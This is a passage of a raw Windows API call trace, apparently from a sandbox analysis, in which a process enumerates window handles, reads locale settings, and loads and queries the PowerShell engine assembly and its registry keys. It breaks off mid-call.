[0106.788] GetLastError () returned 0x0 [0106.788] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x4d0 [0106.788] GetLastError () returned 0x0 [0106.788] GetWindowThreadProcessId (in: hWnd=0x10146, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x538 [0106.788] GetLastError () returned 0x0 [0106.788] GetWindowThreadProcessId (in: hWnd=0x20118, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x4d0 [0106.788] GetLastError () returned 0x0 [0106.788] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x778 [0106.789] GetLastError () returned 0x0 [0106.789] GetWindowThreadProcessId (in: hWnd=0x20028, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x778 [0106.789] GetLastError () returned 0x0 [0106.789] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x4d0 [0106.789] GetLastError () returned 0x0 [0106.789] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x460 [0106.789] GetLastError () returned 0x0 [0106.789] GetWindowThreadProcessId (in: hWnd=0x500a2, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x4d0 [0106.789] GetLastError () returned 0x0 [0106.789] GetWindowThreadProcessId (in: hWnd=0x10092, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x4d0 [0106.790] GetLastError () returned 0x0 [0106.790] GetWindowThreadProcessId (in: hWnd=0x40120, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x460 [0106.790] GetLastError () returned 0x0 [0106.790] GetWindowThreadProcessId (in: hWnd=0x801b0, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0xaf0 [0106.790] GetLastError () returned 0x0 [0106.792] GetWindow (hWnd=0x801b0, uCmd=0x4) returned 0x0 [0106.793] IsWindowVisible (hWnd=0x801b0) returned 0 [0106.794] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x660 [0106.794] GetLastError () returned 0x0 [0106.794] GetWindowThreadProcessId (in: hWnd=0x7017c, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0xb20 [0106.794] GetLastError () returned 0x0 [0106.794] GetWindowThreadProcessId (in: hWnd=0x800a8, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x4d0 [0106.794] GetLastError () returned 0x0 [0106.794] GetWindowThreadProcessId (in: hWnd=0x300c6, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x4d0 [0106.794] GetLastError () returned 0x0 [0106.794] GetWindowThreadProcessId (in: hWnd=0x400d0, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x4d0 [0106.794] GetLastError () returned 0x0 [0106.794] GetWindowThreadProcessId (in: hWnd=0x400f0, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x4d0 [0106.795] GetLastError () returned 0x0 [0106.795] GetWindowThreadProcessId (in: hWnd=0x300de, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x4d0 [0106.795] GetLastError () returned 0x0 [0106.795] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x4d0 [0106.795] GetLastError () returned 0x0 [0106.795] GetWindowThreadProcessId (in: hWnd=0x400c4, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x4d0 [0106.795] GetLastError () returned 0x0 [0106.795] GetWindowThreadProcessId (in: hWnd=0x300ac, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x4d0 [0106.795] GetLastError () returned 0x0 [0106.795] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x664 [0106.795] GetLastError () returned 0x0 [0106.796] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x2a8 [0106.796] GetLastError () returned 0x0 [0106.796] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x53c [0106.796] GetLastError () returned 0x0 [0106.796] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x494 [0106.796] GetLastError () returned 0x0 [0106.796] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x7e0 [0106.796] GetLastError () returned 0x0 [0106.796] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x488 [0106.796] GetLastError () returned 0x0 [0106.796] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x7a0 [0106.796] GetLastError () returned 0x0 [0106.797] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x7ac [0106.797] GetLastError () returned 0x0 [0106.797] GetWindowThreadProcessId (in: hWnd=0x30184, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x794 [0106.797] GetLastError () returned 0x0 [0106.797] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x114 [0106.797] GetLastError () returned 0x0 [0106.797] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x248 [0106.797] GetLastError () returned 0x0 [0106.797] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x590 [0106.797] GetLastError () returned 0x0 [0106.797] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x780 [0106.798] GetLastError () returned 0x0 [0106.798] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x5a4 [0106.798] GetLastError () returned 0x0 [0106.798] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x62c [0106.798] GetLastError () returned 0x0 [0106.798] GetWindowThreadProcessId (in: hWnd=0x2015e, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0xc0 [0106.798] GetLastError () returned 0x0 [0106.798] GetWindowThreadProcessId (in: hWnd=0x3015a, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x540 [0106.798] GetLastError () returned 0x0 [0106.798] GetWindowThreadProcessId (in: hWnd=0x10150, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x538 [0106.798] GetLastError () returned 0x0 [0106.799] GetWindowThreadProcessId (in: hWnd=0x1014e, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x568 [0106.799] GetLastError () returned 0x0 [0106.799] GetWindowThreadProcessId (in: hWnd=0x20144, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x538 [0106.799] GetLastError () returned 0x0 [0106.799] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x568 [0106.799] GetLastError () returned 0x0 [0106.799] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x538 [0106.799] GetLastError () returned 0x0 [0106.799] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x540 [0106.799] GetLastError () returned 0x0 [0106.799] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x540 [0106.799] GetLastError () returned 0x0 [0106.800] GetWindowThreadProcessId (in: hWnd=0x1010e, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x510 [0106.800] GetLastError () returned 0x0 [0106.800] GetWindowThreadProcessId (in: hWnd=0x1010c, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x57c [0106.800] GetLastError () returned 0x0 [0106.800] GetWindowThreadProcessId (in: hWnd=0x10108, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x460 [0106.800] GetLastError () returned 0x0 [0106.800] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x554 [0106.800] GetLastError () returned 0x0 [0106.801] GetWindowThreadProcessId (in: hWnd=0x50094, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x4d0 [0106.801] GetLastError () returned 0x0 [0106.801] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x528 [0106.801] GetLastError () returned 0x0 [0106.801] GetWindowThreadProcessId (in: hWnd=0x10088, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x4d0 [0106.801] GetLastError () returned 0x0 [0106.801] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x4d0 [0106.801] GetLastError () returned 0x0 [0106.801] GetWindowThreadProcessId (in: hWnd=0x1006e, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x4d0 [0106.801] GetLastError () returned 0x0 [0106.802] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x79c [0106.802] GetLastError () returned 0x0 [0106.802] GetWindowThreadProcessId (in: hWnd=0x1006a, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x4d0 [0106.802] GetLastError () returned 0x0 [0106.802] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x4e0 [0106.802] GetLastError () returned 0x0 [0106.802] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x4d0 [0106.802] GetLastError () returned 0x0 [0106.802] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x460 [0106.802] GetLastError () returned 0x0 [0106.802] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x460 [0106.802] GetLastError () returned 0x0 [0106.802] GetWindowThreadProcessId (in: hWnd=0x30044, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x44c [0106.803] GetLastError () returned 0x0 [0106.803] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x778 [0106.803] GetLastError () returned 0x0 [0106.803] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x460 [0106.803] GetLastError () returned 0x0 [0106.803] GetWindowThreadProcessId (in: hWnd=0x30140, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x558 [0106.803] GetLastError () returned 0x0 [0106.803] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x4d0 [0106.803] GetLastError () returned 0x0 [0106.803] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x4d0 [0106.803] GetLastError () returned 0x0 [0106.803] GetWindowThreadProcessId (in: hWnd=0x20104, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x460 [0106.803] GetLastError () returned 0x0 [0106.804] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x460 [0106.804] GetLastError () returned 0x0 [0106.804] GetWindowThreadProcessId (in: hWnd=0x301d4, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0xb00 [0106.804] GetLastError () returned 0x0 [0106.804] GetWindowThreadProcessId (in: hWnd=0x101aa, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x660 [0106.804] GetLastError () returned 0x0 [0106.804] GetWindowThreadProcessId (in: hWnd=0x40122, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0xb20 [0106.804] GetLastError () returned 0x0 [0106.804] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x664 [0106.804] GetLastError () returned 0x0 [0106.815] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x2a8 [0106.815] GetLastError () returned 0x0 [0106.815] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x53c [0106.815] GetLastError () returned 0x0 [0106.815] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x494 [0106.815] GetLastError () returned 0x0 [0106.815] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x7e0 [0106.815] GetLastError () returned 0x0 [0106.816] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x488 [0106.816] GetLastError () returned 0x0 [0106.816] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x7a0 [0106.816] GetLastError () returned 0x0 [0106.816] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x7ac [0106.816] GetLastError () returned 0x0 [0106.816] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x794 [0106.816] GetLastError () returned 0x0 [0106.816] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x114 [0106.816] GetLastError () returned 0x0 [0106.816] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x248 [0106.816] GetLastError () returned 0x0 [0106.817] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x590 [0106.817] GetLastError () returned 0x0 [0106.817] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x780 [0106.817] GetLastError () returned 0x0 [0106.817] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x5a4 [0106.817] GetLastError () returned 0x0 [0106.817] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x62c [0106.817] GetLastError () returned 0x0 [0106.817] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0xc0 [0106.817] GetLastError () returned 0x0 [0106.817] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x568 [0106.817] GetLastError () returned 0x0 [0106.818] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x538 [0106.818] GetLastError () returned 0x0 [0106.818] GetWindowThreadProcessId (in: hWnd=0x10128, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x540 [0106.818] GetLastError () returned 0x0 [0106.818] GetWindowThreadProcessId (in: hWnd=0x700a4, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x510 [0106.818] GetLastError () returned 0x0 [0106.818] GetWindowThreadProcessId (in: hWnd=0x2002a, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x79c [0106.818] GetLastError () returned 0x0 [0106.818] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x4e0 [0106.818] GetLastError () returned 0x0 [0106.818] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x778 [0106.818] GetLastError () returned 0x0 [0106.818] GetLastError () returned 0x0 [0106.878] WerSetFlags () returned 0x0 [0106.884] SetThreadPreferredUILanguages (in: dwFlags=0x100, pwszLanguagesBuffer=0x0, pulNumLanguages=0x0 | out: pulNumLanguages=0x0) returned 1 [0106.887] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x1be8ec, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x1be8e8 | out: pulNumLanguages=0x1be8ec, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x1be8e8) returned 1 [0106.887] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x1be8ec, pwszLanguagesBuffer=0x29fc13c, pcchLanguagesBuffer=0x1be8e8 | out: pulNumLanguages=0x1be8ec, pwszLanguagesBuffer=0x29fc13c, pcchLanguagesBuffer=0x1be8e8) returned 1 [0106.950] GetUserDefaultLocaleName (in: lpLocaleName=0x448de0, cchLocaleName=16 | out: lpLocaleName="en-US") returned 6 [0107.017] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x448de0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0107.017] GetLastError () returned 0xcb [0107.020] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x448de0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0107.020] GetLastError () returned 0xcb [0107.021] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x448de0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0107.022] GetLastError () returned 0xcb [0107.038] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1be35c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0107.038] GetLastError () returned 0xcb [0107.038] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1be378, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0107.038] GetLastError () returned 0xcb [0107.038] SetErrorMode (uMode=0x1) returned 0x1 [0107.038] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x1be7f8 | out: lpFileInformation=0x1be7f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1 [0107.039] GetLastError () returned 0xcb [0107.041] SetErrorMode (uMode=0x1) returned 0x1 [0107.041] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x1be87c | out: lpdwHandle=0x1be87c) returned 0x94c [0107.043] GetLastError () returned 0x0 [0107.043] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x29fe66c | out: lpData=0x29fe66c) returned 1 [0107.044] VerQueryValueW (in: pBlock=0x29fe66c, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1be848, puLen=0x1be844 | out: lplpBuffer=0x1be848*=0x29fe708, puLen=0x1be844) returned 1 [0107.044] VerQueryValueW (in: pBlock=0x29fe66c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x1be7c4, puLen=0x1be7c0 | out: lplpBuffer=0x1be7c4*=0x29fe7e4, puLen=0x1be7c0) returned 1 [0107.044] lstrlenW (lpString="Microsoft Corporation") returned 21 [0107.044] lstrcpyW (in: lpString1=0x448de0, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation" [0107.044] VerQueryValueW (in: pBlock=0x29fe66c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x1be7c4, puLen=0x1be7c0 | out: lplpBuffer=0x1be7c4*=0x29fe838, puLen=0x1be7c0) returned 1 [0107.045] lstrlenW (lpString="System.Management.Automation") returned 28 [0107.045] lstrcpyW (in: lpString1=0x448de0, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation" [0107.045] VerQueryValueW (in: pBlock=0x29fe66c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x1be7c4, puLen=0x1be7c0 | out: lplpBuffer=0x1be7c4*=0x29fe894, puLen=0x1be7c0) returned 1 [0107.045] lstrlenW (lpString="6.1.7601.17514") returned 14 [0107.045] lstrcpyW (in: lpString1=0x448de0, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0107.045] VerQueryValueW (in: pBlock=0x29fe66c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x1be7c4, puLen=0x1be7c0 | out: lplpBuffer=0x1be7c4*=0x29fe8d4, puLen=0x1be7c0) returned 1 [0107.045] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0107.045] lstrcpyW (in: lpString1=0x448de0, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0107.046] VerQueryValueW (in: pBlock=0x29fe66c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x1be7c4, puLen=0x1be7c0 | out: lplpBuffer=0x1be7c4*=0x29fe93c, puLen=0x1be7c0) returned 1 [0107.046] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57 [0107.046] lstrcpyW (in: lpString1=0x448de0, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved." [0107.049] VerQueryValueW (in: pBlock=0x29fe66c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x1be7c4, puLen=0x1be7c0 | out: lplpBuffer=0x1be7c4*=0x29fe9d8, puLen=0x1be7c0) returned 1 [0107.049] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0107.049] lstrcpyW (in: lpString1=0x448de0, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0107.049] VerQueryValueW (in: pBlock=0x29fe66c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x1be7c4, puLen=0x1be7c0 | out: lplpBuffer=0x1be7c4*=0x29fea3c, puLen=0x1be7c0) returned 1 [0107.049] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42 [0107.049] lstrcpyW (in: lpString1=0x448de0, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System" [0107.049] VerQueryValueW (in: pBlock=0x29fe66c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x1be7c4, puLen=0x1be7c0 | out: lplpBuffer=0x1be7c4*=0x29feab8, puLen=0x1be7c0) returned 1 [0107.049] lstrlenW (lpString="6.1.7601.17514") returned 14 [0107.049] lstrcpyW (in: lpString1=0x448de0, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0107.049] VerQueryValueW (in: pBlock=0x29fe66c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x1be7c4, puLen=0x1be7c0 | out: lplpBuffer=0x1be7c4*=0x29fe760, puLen=0x1be7c0) returned 1 [0107.049] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49 [0107.049] lstrcpyW (in: lpString1=0x448de0, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly" [0107.049] VerQueryValueW (in: pBlock=0x29fe66c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x1be7c4, puLen=0x1be7c0 | out: lplpBuffer=0x1be7c4*=0x0, puLen=0x1be7c0) returned 0 [0107.050] VerQueryValueW (in: pBlock=0x29fe66c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x1be7c4, puLen=0x1be7c0 | out: lplpBuffer=0x1be7c4*=0x0, puLen=0x1be7c0) returned 0 [0107.050] VerQueryValueW (in: pBlock=0x29fe66c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x1be7c4, puLen=0x1be7c0 | out: lplpBuffer=0x1be7c4*=0x0, puLen=0x1be7c0) returned 0 [0107.050] VerQueryValueW (in: pBlock=0x29fe66c, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1be7b8, puLen=0x1be7b4 | out: lplpBuffer=0x1be7b8*=0x29fe708, puLen=0x1be7b4) returned 1 [0107.050] VerLanguageNameW (in: wLang=0x0, szLang=0x448de0, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0107.050] VerQueryValueW (in: pBlock=0x29fe66c, lpSubBlock="\\", lplpBuffer=0x1be7cc, puLen=0x1be7c8 | out: lplpBuffer=0x1be7cc*=0x29fe694, puLen=0x1be7c8) returned 1 [0107.121] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x448de0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0107.122] GetLastError () returned 0xcb [0107.125] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x448de0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0107.125] GetLastError () returned 0xcb [0107.129] lstrlenW (lpString="䅁") returned 1 [0107.134] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1be790 | out: phkResult=0x1be790*=0x320) returned 0x0 [0107.135] RegOpenKeyExW (in: hKey=0x320, lpSubKey="1", ulOptions=0x0, samDesired=0x20019, phkResult=0x1be794 | out: phkResult=0x1be794*=0x324) returned 0x0 [0107.135] RegOpenKeyExW (in: hKey=0x324, lpSubKey="PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x1be7c8 | out: phkResult=0x1be7c8*=0x328) returned 0x0 [0107.137] RegQueryValueExW (in: hKey=0x328, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1be808, lpData=0x0, lpcbData=0x1be804*=0x0 | out: lpType=0x1be808*=0x1, lpData=0x0, lpcbData=0x1be804*=0x56) returned 0x0 [0107.138] RegQueryValueExW (in: hKey=0x328, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1be808, lpData=0x448de0, lpcbData=0x1be804*=0x56 | out: lpType=0x1be808*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x1be804*=0x56) returned 0x0 [0107.142] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1be310, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0107.142] GetLastError () returned 0x0 [0107.144] GetFullPathNameW (in: 